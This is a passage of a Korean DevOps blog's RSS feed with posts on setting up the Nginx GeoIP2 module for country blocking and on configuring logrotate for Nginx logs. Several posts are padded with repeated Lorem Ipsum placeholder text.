<p>GeoIP의 데이터베이스는 최신파일로 다운로드를 합니다. 갱신되는 파일을 주기적으로 업데이트해 줄 필요가 있으므로 자동으로 업데이트 가능하도록 해야 합니다.</p>
<ul>
<li><a class="wp-editor-md-post-content-link" href="https://www.maxmind.com/en/accounts/818308/geoip/downloads" target="_blank" rel="noopener">GeoIP 데이터베이스 다운로드</a></li>
</ul>
<pre><code class="language-bash line-numbers">$ wget https://github.com/maxmind/geoipupdate/releases/download/v3.1.1/geoipupdate-3.1.1.tar.gz
$ tar -zxvf geoipupdate-3.1.1.tar.gz
$ cd geoipupdate-3.1.1
$ ./configure
$ make
$ make install
</code></pre>
<ul>
<li>GeoIP.conf 설정</li>
</ul>
<p>GeoIP.conf 파일에 계정 정보와 필요한 에디션을 설치</p>
<p>유료 이용자에게는 GeoIP2와 GeoIP Legacy DB를 지원하고, 무료 이용자에게는 GeoLite2 DB만 지원한다. (<strong><a class="wp-editor-md-post-content-link" href="https://www.maxmind.com/en/accounts/current/license-key/GeoIP.conf" target="_blank" rel="noopener">유료 이용 라이센스 발급</a></strong>)</p>
<pre><code class="language-bash line-numbers">$ vi /usr/local/etc/GeoIP.conf

# Paid
AccountID YOUR_ACCOUNT_ID_HERE
LicenseKey YOUR_LICENSE_KEY_HERE
EditionIDs YOUR_EDITION_IDS_HERE


# `AccountID` is from your MaxMind account.
AccountID XXXXXX

# `LicenseKey` is from your MaxMind account
LicenseKey XXXXXX

# `EditionIDs` is from your MaxMind account.
EditionIDs XXXXXX
</code></pre>
<ul>
<li>GeoIP 데이터 베이스 업데이트</li>
</ul>
<pre><code class="language-bash line-numbers">$ /usr/local/bin/geoipupdate
</code></pre>
<ul>
<li>Crontab 설정</li>
</ul>
<pre><code class="language-bash line-numbers"># 원하는 시간에 업데이트 지정
2 22 * * 4 /usr/local/bin/geoipupdate
</code></pre>
<h3>GeoIP v2 module 다운로드</h3>
<ul>
<li>참고 : https://github.com/leev/ngx_http_geoip2_module</li>
</ul>
<p><strong>ngx_http_geoip2_module</strong> &#8211; 클라이언트 IP(기본값) 또는 특정 변수(IPv4 및 IPv6 모두 지원)를 기반으로 하는 maxmind geoip2 데이터베이스의 값으로 변수를 생성합니다.</p>
<p>이 모듈은 이제 nginx 스트림을 지원하며 http 모듈을 사용할 수 있는 것과 동일한 방식으로 사용할 수 있습니다.</p>
<pre><code class="language-bash line-numbers">$ git clone https://github.com/leev/ngx_http_geoip2_module.git

# nginx 재컴파일 과정에 포함
# 실제 작업시에는 기존에 있던 모듈도 포함해야 합니다. 
$ ./configure --add-dynamic-module=/path/to/ngx_http_geoip2_module
$ make
$ make install
</code></pre>
<h3>Nginx Re-compile</h3>
<pre><code class="language-bash line-numbers">NGINX_VERSION=1.20.1
PCRE_VERSION=8.44
OPENSSL_VERSION=1.1.1l
ZLIB_VERSION=1.2.11
NGINX_PATH=/home1/irteam/apps/nginx-${NGINX_VERSION}

$ ./configure --prefix=${NGINX_PATH} \
    --user=irteamsu --group=irteamsu \
    --with-http_ssl_module \
    --with-http_stub_status_module \
    --with-http_realip_module \
    --with-http_v2_module \
    --add-dynamic-module=/pkgs/ngx_http_geoip2_module \
    --with-pcre=/pkgs/pcre-${PCRE_VERSION} \
    --with-openssl=/pkgs/openssl-${OPENSSL_VERSION} \
    --with-zlib=/pkgs/zlib-${ZLIB_VERSION}

$ make
$ make install

#완료 후, nginx binary update
$ cp /home1/irteam/apps/nginx-1.20.1/sbin/nginx /usr/bin
</code></pre>
<h2>4. GeoIP Module 설정 적용</h2>
<p>위의 과정이 모두 완료 되었다면, 실제로 Nginx 설정에 GeoIP Module을 적용하는 내용입니다.</p>
<h3>Module 로딩</h3>
<pre><code class="language-bash line-numbers">pid /run/nginx.pid;
worker_processes        4; # number of CPU cores
worker_rlimit_nofile    20000; # sockets, fds per worker process

#load_module을 통해서 geoip2 module을 로드합니다
load_module modules/ngx_http_geoip2_module.so;

events {
    worker_connections  3000;
}
</code></pre>
<h3>mmdb 매핑</h3>
<pre><code class="language-bash line-numbers">http {
    ...
    geoip2 /usr/local/share/GeoIP/GeoLite2-Country.mmdb {
        auto_reload 5m;
        $geoip2_metadata_country_build metadata build_epoch;
        $geoip2_data_country_code country iso_code;
        $geoip2_data_country_name country names en;
    }

    geoip2 /usr/local/share/GeoIP/GeoLite2-City.mmdb {
        $geoip2_metadata_city_build metadata build_epoch;
        $geoip2_data_city_name city names en;
    }
    ....

    fastcgi_param COUNTRY_CODE $geoip2_data_country_code;
    fastcgi_param COUNTRY_NAME $geoip2_data_country_name;
    fastcgi_param CITY_NAME    $geoip2_data_city_name;
    ....
}
</code></pre>
<h3>국가 차단 설정</h3>
<p>GeoIP Module을 통해서 국가 단위의 차단을 수행 할 수 있습니다. GeoIP Module을 통과하게 되면, Client IP의 국가 및 도시등의 정보를 수집할 수 있습니다.</p>
<pre><code class="language-bash line-numbers">map $geoip2_data_country_code $domain_allowed_country {
    default yes;
    KR no;
}
....
location / {
    if ($domain_allowed_country = no) {
        return 444;
    }
}
</code></pre>
<h2>5. 마치며&#8230;</h2>
<p>Nginx GeoIP Module을 통해서 국가에 대한 접근을 Nginx Layer에서 확인을 할 수 있게 되었습니다. 아이피를 통한 국가 정보 및 도시 정보까지 추출이 가능하여 국가 단위의 차단도 가능해졌습니다. 국가 정보를 통해서 비지니스에서 활용도 할 수 있게 되었고, 개발팀에게 주요한 정보를 주어 비지니스 상에서도 활용을 할 수도 있게 되었습니다.</p>
<h2>6. 참고</h2>
<ul>
<li>GeoIP v2
<ul>
<li>[<a class="wp-editor-md-post-content-link" href="https://minholee93.tistory.com/entry/Nginx-Adding-Dynamic-Module" target="_blank" rel="noopener">Nginx] Adding Dynamic Module</a></li>
<li><a class="wp-editor-md-post-content-link" href="https://xinet.kr/?p=2743" target="_blank" rel="noopener">maxminddb apache module install</a></li>
<li><a class="wp-editor-md-post-content-link" href="https://blog.kinsdayz.com/2020/07/25/nginx-geoip2를-이용하여-불량한-접속국가-막는-방법/" target="_blank" rel="noopener">Nginx GeoIP2를 이용하여 불량한 접속국가 막는 방법</a></li>
</ul>
</li>
<li>GeoIP v1
<ul>
<li><a class="wp-editor-md-post-content-link" href="https://uiandwe.tistory.com/1094" target="_blank" rel="noopener">nginx 에서 특정 국가를 차단하는 방법</a></li>
</ul>
</li>
</ul>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/08/17/devops-nginx-geoip-module/">[DevOps] Nginx GeoIP 모듈 적용</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wonizz.com/2023/08/17/devops-nginx-geoip-module/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2058</post-id>	</item>
		<item>
		<title>[DevOps] Nginx Logrotation 설정</title>
		<link>https://blog.wonizz.com/2023/08/10/linux-logrotate/</link>
					<comments>https://blog.wonizz.com/2023/08/10/linux-logrotate/#respond</comments>
		
		<dc:creator><![CDATA[워니]]></dc:creator>
		<pubDate>Thu, 10 Aug 2023 09:23:01 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">https://blog.wonizz.tk/?p=2051</guid>

					<description><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈 입니다. 웹 서버를 운영하다보면, 로그 파일들이 무분별하게 쌓이는 문제가 있습니다. 이를 정리하기 위해서는 logrotation이라는 프로그램을 이용해야 하는데요. logrotation을 어떻게 설정하고 어떤식으로 활용하는지에 대해서 정리를 해보도록 하겠습니다. Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다. [DevOps] Nginx 컴파일 설치 [DevOps] ansible nginx config 배포 구성 [DevOps] Nginx Logrotation 설정 [DevOps] Nginx GeoIP 모듈&#8230;&#160;</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/08/10/linux-logrotate/">[DevOps] Nginx Logrotation 설정</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈 입니다. 웹 서버를 운영하다보면, 로그 파일들이 무분별하게 쌓이는 문제가 있습니다. 이를 정리하기 위해서는 <strong>logrotation</strong>이라는 프로그램을 이용해야 하는데요. logrotation을 어떻게 설정하고 어떤식으로 활용하는지에 대해서 정리를 해보도록 하겠습니다.</p>
<p>Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.</p>
<ul>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/02/09/devops-nginx-compile-installation/">[DevOps] Nginx 컴파일 설치</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/07/11/devops-ansible-nginx-config-deploy/">[DevOps] ansible nginx config 배포 구성</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/08/10/linux-logrotate/">[DevOps] Nginx Logrotation 설정</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/08/17/devops-nginx-geoip-module/">[DevOps] Nginx GeoIP 모듈 적용</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/10/19/devops-nginx-log-aggregation-dashboard/">[DevOps] Nginx Log Aggregation &#038; Dashboard</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/">[DevOps] Nginx Rate Limit</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/">[DevOps] Nginx Lua module 사용법</a>
  </li>
</ul>
<h2>1. Logrotation 이란?</h2>
<p>간단하게 리눅스에서 사용할 수 있는 프로그램.</p>
<p>Logrotatefㅡㄹ 사용하면 특정 폴더에 쌓이는 로그를 날짜 별로 나누어서 관리를 할 수 있으며, 기준을 정하면 해당일 이전 로그는 삭제하여 시스템 용량을 낭비하지 않을 수 있습니다.</p>
<h3>Logrotate 구조</h3>
<ul>
<li>/etc/logrotate.conf : 로그 로테이트의 기본 설정 파일
<p>기본 설정 : log는 주 단위로 백업 -> 4주동안 보관</p>
<pre><code class="language-bash line-numbers"># see "man logrotate" for details
# rotate log files weekly
weekly

# keep 4 weeks worth of backlogs
rotate 4

# create new (empty) log files after rotating old ones
create

# use date as a suffix of the rotated file
dateext

# uncomment this if you want your log files compressed
#compress

# RPM packages drop log rotation information into this directory
include /etc/logrotate.d

# no packages own wtmp and btmp -- we'll rotate them here
/var/log/wtmp {
  monthly
  create 0664 root utmp
      minsize 1M
  rotate 1
}

/var/log/btmp {
  missingok
  monthly
  create 0600 root utmp
  rotate 1
}

# system-specific logs may be also be configured here.
</code></pre>
</li>
<li>/etc/logrotate.d/ : 로그 로테이트의 개별 설정 파일이 들어있는 폴더
<pre><code class="language-bash line-numbers">## syslog 예시
/var/log/cron
/var/log/maillog
/var/log/messages
/var/log/secure
/var/log/spooler
{
  missingok
  sharedscripts
  postrotate
      /bin/kill -HUP `cat /var/run/syslogd.pid 2> /dev/null` 2> /dev/null || true
  endscript
}

## custom 예시
## test.txt를 rotation할시에 data.json파일도 강제적으로 날짜별 copy를 수행
/home1/test/apps/devops/logs/test.txt {
  daily
    missingok
  copytruncate
  dateext
  notifempty
  postrotate
      cp -p /home1/test/apps/devops/logs/data.json /home1/test/apps/devops/logs/data.json-`date +%Y%m%d.%H%M%S`
  endscript
}
</code></pre>
</li>
<li>/etc/cron.daily/logrotate : 로그 로테이트 작업 내역 로그</p>
</li>
</ul>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/08/logrotation_1.png?w=1200" alt="DevOps Nginx Logrotation 설정" /></p>
<h2>2. Logrotation 설정 방법</h2>
<p>필자는 nginx log에 대해서 rotation설정을 진행했습니다.</p>
<ul>
<li>nginx logrotation 설정</li>
</ul>
<pre><code class="language-bash line-numbers">/apps/nginx-1.20.1/logs/access_log {
        daily
        missingok
        rotate 7
        compress
        delaycompress
        notifempty
        create 640 root root
        sharedscripts
        postrotate
                if [ -f /var/run/nginx.pid ]; then
                        kill -USR1 `cat /var/run/nginx.pid`
                fi
        endscript
}
</code></pre>
<p>1️⃣ 로그 정리 대상 파일 : /apps/nginx-1.20.1/logs/access_log<br />
2️⃣ daily : daily(매일), weekly(매주), monthly(매달), yearly(매년) 순환<br />
3️⃣ missingok : 로그파일이 없을 경우에도 에러로 처리하지 않음<br />
4️⃣ rotate 7 : rotate 파일 갯 수<br />
5️⃣ compress : 순환된 로그파일 압축(gz)<br />
6️⃣ delaycompress : 최근파일 외 전부 압축<br />
7️⃣ notifempty : 로그파일이 제로인 경우 rotation하지 않음<br />
8️⃣ sharedscripts : prerotate, postrotate 스크립트를 한번만 실행<br />
9️⃣ postrotate : 로그파일 분할 후 실행할 script 지정 ( nginx 의 경우 SIGUSR1 을 받으면 로그 파일을 새로 읽으므로 새로 만들어진 로그 파일에 로그를 기록합니다. )<br />
🔟 copytruncate : 대부분의 어플리케이션들은 SIGTERM을 받으면, 로그파일을 새로 만듭니다. copytruncate를 이용하면 원본파일을 지우지 않고, truncate(파일 크기를 0으로 만든다)한다.</p>
<h2>3. Logrotation 설정 테스트</h2>
<p>로그 로테이션 설정을 진행하고나서 설정 테스트를 하기 위해서는 아래와 같이 테스트를 진행합니다.</p>
<pre><code class="language-bash line-numbers">logrotate -d -f /etc/logrotate.d/nginx
</code></pre>
<ul>
<li>-d, &#8211;debug : 디버그 모드, 실제 로그 파일을 변경하지는 않고 처리 과정만 표시합니다.</li>
</ul>
<h1>참고</h1>
<ul>
<li><a class="wp-editor-md-post-content-link" href="https://www.lesstif.com/system-admin/nginx-log-rotate-logrotate-75956229.html" target="_blank" rel="noopener">nginx log를 rotate 해서 일자별로 관리(logrotate)</a></li>
<li><a class="wp-editor-md-post-content-link" href="https://www.wp-vps.com/logrotate이용하여-nginx-로그파일-분할관리하기.html" target="_blank" rel="noopener">logrotate이용하여 nginx 로그파일 분할관리하기</a></li>
<li><a class="wp-editor-md-post-content-link" href="https://www.joinc.co.kr/w/man/12/logrotate" target="_blank" rel="noopener">logrotate를 이용한 로그 파일 관리</a></li>
<li><a class="wp-editor-md-post-content-link" href="https://sailing-blog.com/6033" target="_blank" rel="noopener">로그관리 Logrotate</a></li>
</ul>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/08/10/linux-logrotate/">[DevOps] Nginx Logrotation 설정</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wonizz.com/2023/08/10/linux-logrotate/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2051</post-id>	</item>
		<item>
		<title>[DevOps] 주로 사용하는 Nginx 설정</title>
		<link>https://blog.wonizz.com/2023/07/03/devops-nginx-configuration/</link>
					<comments>https://blog.wonizz.com/2023/07/03/devops-nginx-configuration/#respond</comments>
		
		<dc:creator><![CDATA[워니]]></dc:creator>
		<pubDate>Mon, 03 Jul 2023 01:34:23 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">https://blog.wonizz.tk/?p=2046</guid>

					<description><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 이번시간에는 주로 사용하는 Nginx 설정들에 대해서 정리를 해보도록 하겠습니다. 필자가 속한 프로젝트에서는 FE에 대한 서버를 Nginx로 사용하고 있습니다. Nginx에 index.html을 서빙하는 방식으로 이용하고 있습니다. 그러다보니 Nginx에 대한 셋팅 혹은 설정을 많이 하게 되는데 주로 사용하는 것들에 대해서 정리를 해두어서 참고하고자 합니다. 1. nginx.conf 설정 worker_process nginx의 실행 가능한 worker 프로세스의 수를&#8230;&#160;</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/07/03/devops-nginx-configuration/">[DevOps] 주로 사용하는 Nginx 설정</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
